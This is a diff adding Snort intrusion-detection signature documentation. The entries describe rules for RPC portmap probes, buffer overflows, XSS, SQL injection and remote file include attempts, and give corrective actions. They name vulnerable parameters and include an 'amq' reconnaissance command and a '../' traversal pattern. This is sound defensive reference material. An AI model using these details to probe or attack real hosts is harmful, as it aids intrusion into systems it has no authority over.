+++ snort-2.8.5.2/doc/signatures/100000161.txt
@@ -0,0 +1,59 @@
+Rule: 
+
+--
+Sid: 
+100000161
+
+-- 
+Summary: 
+This event is generated when an abnormally larger number of unresolvable DNS 
+queries are generated by a particular host.
+
+--
+Impact:
+This can be an indication of a denial of service attack in progress.
+
+--
+Detailed Information:
+Since SIP systems can be overwhelmed by being forced to deal with an overly 
+large number of invalid hostnames, this rule is designed to detect such attacks 
+by searching for large volumes of DNS responses which contain the message "No 
+such name".
+
+--
+Affected Systems:
+Any which implement the SIP protocol.
+
+--
+Attack Scenarios:
+An attacker could use a script to flood a system with requests from invalid 
+hosts, causing a denial of service.
+
+--
+Ease of Attack:
+Simple, as it is trivial to write a script to generate requests with invalid 
+hostnames.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Use a firewall or other access-restriction device to block unwanted messages at 
+your network's border.
+
+--
+Contributors:
+Jiri Markl <jiri.markl@nextsoft.cz>
+Sourcefire Research Team
+
+--
+Additional References
+Other:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1299.txt
+++ snort-2.8.5.2/doc/signatures/1299.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+1299
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) ttdbserverd is listening.
+
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port ttdbserverd is using.  Attackers can also learn what versions of the ttdbserverd protocol are accepted by ttdbserverd. 
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as ttdbserverd run.  The ttdbserverd RPC service, more commonly known as the ToolTalk database server, allows applications used in Common Desktop Environment (CDE) to communicate.  The ToolTalk service receives ToolTalk messages created and sent by applications and delivers them to the appropriate recipient applications.  The ToolTalk database server comes enabled on hosts with CDE.  Multiple vulernabilities have been associated with the ToolTalk database server. 
+
+--
+Affected Systems:
+All hosts running the UNIX portmapper.
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where ttdbserverd runs.  This may be a precursor to accessing ttdbserverd.
+
+--
+Ease of Attack:
+Easy.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access ttdbserverd, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for ttdbserverd, not probes of the ttdbserverd service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the ttdbserverd service itself. An attacker may attempt to go directly to the ttdbserverd port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0717
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0003
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0687
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-1075
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/312.txt
+++ snort-2.8.5.2/doc/signatures/312.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid: 312
+
+--
+Summary:
+This event is generated when an attempt to exploit a buffer overflow condition in ntpd is made.
+
+--
+Impact:
+Serious. System compromize presenting the attacker with the opportunity to gain remote access to the victim host or execute arbitrary code with the privileges of the superuser account.
+
+--
+Detailed Information:
+Some versions of the Network Time Protocol Daemon (ntpd) are vulnerable to a buffer overflow condition which can present the attacker with a root shell.
+
+Ntp is used to synchronize system time with a time server. This may also be used on various network devices.
+
+Affected Versions:
+	ntpd versions prior to an including 4.0.99k
+	xntpd and xntp3
+
+--
+Attack Scenarios:
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply vendor supplied patches.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0414
+
+Bugtraq:
+http://www.securityfocus.com/bid/2540
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000779.txt
+++ snort-2.8.5.2/doc/signatures/100000779.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000779
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "Horde" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "show" parameter in the "index.php" script used by the "Horde" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Horde
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Dan Raswami <dan.raswami@sourcefire.com>
+
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1539.txt
+++ snort-2.8.5.2/doc/signatures/1539.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1539
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1277.txt
+++ snort-2.8.5.2/doc/signatures/1277.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+1277
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) ypupdated is listening.
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port ypupdated is using.  Attackers can also learn what versions of the ypupdated protocol are accepted by ypupdated.
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as ypupdated run.  The ypupdated RPC service allows clients to update maps for Network Information Service (NIS), formerly known as Sun Yellow Pages.  A vulnerability exists with improper validation associated with the 'make' command used to update changes, allowing the execution of arbitrary commands as root.  
+
+--
+Affected Systems:
+HP HP-UX 10.1, 10.10, 10.20
+IBM AIX 3.2, 4.1
+NEC EWS-UX/V, UP-UX/V 
+SGI IRIX 3.2, 3.3, 3.3.1, 3.3.2, 3.3.3,4.0, 4.0.1, 4.0.2, 4.0.3, 4.0.4, 4.0.5, 5.0, 5.0.1, 5.1, 5.1.1, 5.2, 5.3, 6.0.1
+Sun SunOS 4.1, 4.1.1, 4.1.2, 4.1.3, 4.1.4
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where ypupdated runs.  This may be a precursor to accessing ypupdated.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access ypupdated, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for ypupdated, not probes of the ypupdated service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the ypupdated service itself. An attacker may attempt to go directly to the ypupdated port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/1749
+
+CERT
+http://www.cert.org/advisories/CA-1995-17.html
+
+Arachnids 
+http://www.whitehats.com/info/IDS125
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2823.txt
+++ snort-2.8.5.2/doc/signatures/2823.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2823
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure purge_flavor_definition
+. This procedure is included in
+sys.dbms_repcat_fla_mas.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1956.txt
+++ snort-2.8.5.2/doc/signatures/1956.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+1956
+
+--
+Summary:
+This event is generated when a request is made to discover the version and configuration information associated with the Remote Procedure Call (RPC) amd.
+
+--
+Impact:
+Information disclosure.  This request can allow an attacker to discover the version of amd running as well as other configuration information about the host.
+
+--
+Detailed Information:
+The amd RPC service implements the automounter daemon on UNIX hosts.  The amd service automatically mounts and unmounts requested file systems.  An attacker can make a request to amd to discover its version number. A successful request will return the version number along with other valuable configuration information about the server, including the architecture.  
+
+--
+Affected Systems:
+Any system running amd.
+
+--
+Attack Scenarios:
+An attacker may request the version number associated with amd.  The response may give an attacker valuable configuration information about the host.
+
+--
+Ease of Attack:
+Simple.  Execute the command 'amq -v -U -h hostname/IP'
+
+-
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000683.txt
+++ snort-2.8.5.2/doc/signatures/100000683.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+100000683
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "cPanel" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "file" parameter in the "select.html" script 
+used by the "cPanel" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using cPanel
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1065.txt
+++ snort-2.8.5.2/doc/signatures/1065.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1065
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000667.txt
+++ snort-2.8.5.2/doc/signatures/100000667.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000667
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Harpia" application running on a webserver. 
+Access to the file "files.php" using a remote file being passed as the 
+"header_prog" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "header_prog" parameter in the "files.php" script used 
+by the "Harpia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Harpia
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/588.txt
+++ snort-2.8.5.2/doc/signatures/588.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+588
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) ttdbserverd is listening.
+
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port ttdbserverd is using.  Attackers can also learn what versions of the ttdbserverd protocol are accepted by ttdbserverd. 
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as ttdbserverd run.  The ttdbserverd RPC service, more commonly known as the ToolTalk database server, allows applications used in Common Desktop Environment (CDE) to communicate.  The ToolTalk service receives ToolTalk messages created and sent by applications and delivers them to the appropriate recipient applications.  The ToolTalk database server comes enabled on hosts with CDE.  Multiple vulernabilities have been associated with the ToolTalk database server. 
+
+--
+Affected Systems:
+All hosts running the UNIX portmapper.
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where ttdbserverd runs.  This may be a precursor to accessing ttdbserverd.
+
+--
+Ease of Attack:
+Easy.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access ttdbserverd, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for ttdbserverd, not probes of the ttdbserverd service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the ttdbserverd service itself. An attacker may attempt to go directly to the ttdbserverd port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0717
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0003
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0687
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-1075
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2542.txt
+++ snort-2.8.5.2/doc/signatures/2542.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+2542
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of SSL Version 3.
+
+--
+Impact:
+Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in the handling of SSL Version 3 requests that
+can be manipulated to cause a DoS condition in various software 
+implementations used on Microsoft operating systems.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library. SSL requests containing an
+invalid field, sent to vulnerable systems can cause the affected host to stop 
+handling any further requests.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems using SSL
+
+--
+Attack Scenarios:
+An attcker needs to make an SSL request to an affected system that
+contains an invalid field.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+US-CERT:
+http://www.us-cert.gov/cas/techalerts/TA04-104A.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1534.txt
+++ snort-2.8.5.2/doc/signatures/1534.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1534
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3293.txt
+++ snort-2.8.5.2/doc/signatures/3293.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3293
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2173.txt
+++ snort-2.8.5.2/doc/signatures/2173.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+2173
+
+
+--
+Summary:
+This event is generated when a possible outgoing virus is detected. 
+
+--
+Impact:
+Informational event. An virus on an infected host may be attempting to 
+propogate.
+
+--
+Detailed Information:
+This event indicates that an outgoing email message possibly containing 
+a virus has been detected.
+
+This rule generates an event when a filename extension commonly used by 
+viruses is detected.
+
+--
+Affected Systems:
+Any host.
+
+--
+Attack Scenarios:
+This is indicative of a virus infection.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A legitimate attachment to an email may generate this event.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of virus infection.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000775.txt
+++ snort-2.8.5.2/doc/signatures/100000775.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000775
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "Blog CMS" application running on a webserver. Access to the file "index.php" with SQL commands being passed as the "PHPSESSID" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "PHPSESSID" parameter in the "index.php" script used by the "Blog CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Blog CMS
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3148.txt
+++ snort-2.8.5.2/doc/signatures/3148.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+3148
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a
+vulnerability in Microsoft Windows Help.
+
+--
+Impact:
+Serious. Code execution is possible leading to unauthorized
+administrative access to the target host.
+
+--
+Detailed Information:
+Microsoft Windows Help can use ActiveX controls when dealing with
+Windows Help files.
+
+A programming error in the processing of a buffer that handles the
+"item" parameter of a help file can lead to the exposure of a buffer
+overflow condition. An attacker may be able to overflow this buffer and
+supply code of their choosing to be executed on the system with the
+privileges of the administrative account.
+
+In addition, applications may treat Windows Help as a trusted program
+and further exploitation and host firewall bypass may be possible.
+
+--
+Affected Systems:
+	Systems using Microsoft Windows
+
+--
+Attack Scenarios:
+An attacker can overflow a buffer by inserting extra data into the input
+parameter of a malicious help file. The attacker may then insert code of
+their choosing to either run commands on the system or execute the code
+with the privileges of the administrative account.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/119-11.txt
+++ snort-2.8.5.2/doc/signatures/119-11.txt
@@ -0,0 +1,62 @@
+Rule: 
+
+--
+Sid: 
+119-11
+
+-- 
+Summary: 
+This event is generated when the pre-processor http_inspect
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+Unknown. This event may also constitute an attempt to evade an IDS.
+
+--
+Detailed Information:
+This event is generated when the http_inspect pre-processor detects the
+use of directory traversal in a web request. This may be an attempt to
+escape the web root directory or it may be an attempt to evade an IDS.
+
+--
+Affected Systems:
+	Microsoft IIS Servers
+
+--
+Attack Scenarios: 
+An attacker may supply a path to a file outside the web root by using
+"../" in the uri.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+This event may be generated if a web site uses "../" in links to other
+files on the site.
+
+--
+False Negatives:
+None Known.
+
+-- 
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Daniel Roelker <droelker@sourcefire.com> 
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+HTTP IDS Evasions Revisited - Daniel Roelker
+http://docs.idsresearch.org/http_ids_evasions.pdf
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000405.txt
+++ snort-2.8.5.2/doc/signatures/100000405.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000405
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Ovidentia" application running on a webserver. Access to the file "artedit.php" using a remote file being passed as the "babInstallPath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
